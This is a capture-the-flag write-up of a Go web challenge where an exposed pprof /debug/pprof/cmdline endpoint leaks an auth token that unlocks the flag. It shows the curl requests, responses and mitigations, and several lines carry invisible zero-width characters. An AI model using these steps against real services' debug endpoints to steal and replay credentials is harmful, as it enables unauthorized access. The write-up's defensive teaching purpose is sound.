Профилировщик (Profiler)

Platform: hackerlab | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2025-12-24 | Status: Solved Techniques: Authentication token discovery, Command line argument extraction via /debug/pprof/cmdline, Go pprof debug endpoint exploitation

Summary

Task: Go web application with /start endpoint hinting at Auth-Token requirement and pprof import. Solution: Access /debug/pprof/cmdline to extract authentication token from command line arguments, then use it to retrieve the flag.

Профилировщик (Profiler) — hackerlab.pro

Description

Мой друг изучает Golang и продолжает мучать мой мозг своими странными задачами. В этот раз он прислал мне эндпойнт /start

URL: http://62.173.140.174:16030

Analysis

Step 1: Exploring the /start endpoint

 bash read-only • copy allowed Copy
curl http://62.173.140.174:16030/start

The response contains hints:

• URL /whats_flag to get the flag
• Requires Auth-Token header
• Mentions import _ "net/http/pprof" — standard Go profiler

Step 2: Discovering the pprof debug interface

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Standard Go pprof automatically registers debug endpoints when imported:

 bash read-only • copy allowed Copy
curl http://62.173.140.174:16030/debug/pprof/

Various profiling endpoints are available:

• /debug/pprof/cmdline — command line arguments
• /debug/pprof/profile — CPU profile
• /debug/pprof/heap — heap profile
• /debug/pprof/goroutine — goroutine stacks
• and others

Step 3: Extracting the token from cmdline

 bash read-only • copy allowed Copy
curl http://62.173.140.174:16030/debug/pprof/cmdline

Response:

./main -auth_token=123123692146

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The authentication token is passed as a command line argument!

Solution

 bash read-only • copy allowed Copy
# Get the flag with the discovered token
curl http://62.173.140.174:16030/whats_flag -H "Auth-Token: 123123692146"

Response: CODEBY{REDACTED}

Vulnerability

Go pprof Information Disclosure — the standard Go profiler (net/http/pprof) automatically registers debug endpoints when imported. The /debug/pprof/cmdline endpoint reveals the full command line used to start the application, including all arguments. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Dangerous practices:

1. Passing secrets via command line arguments (-auth_token=xxx)
2. Enabling pprof in production without access restrictions
3. No authentication on debug endpoints

Proper approach:

• Use environment variables for secrets
• Restrict access to /debug/pprof/ via firewall or middleware
• Do not include pprof in production builds

References

• Go net/http/pprof documentation
• Securing Go pprof endpoints ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍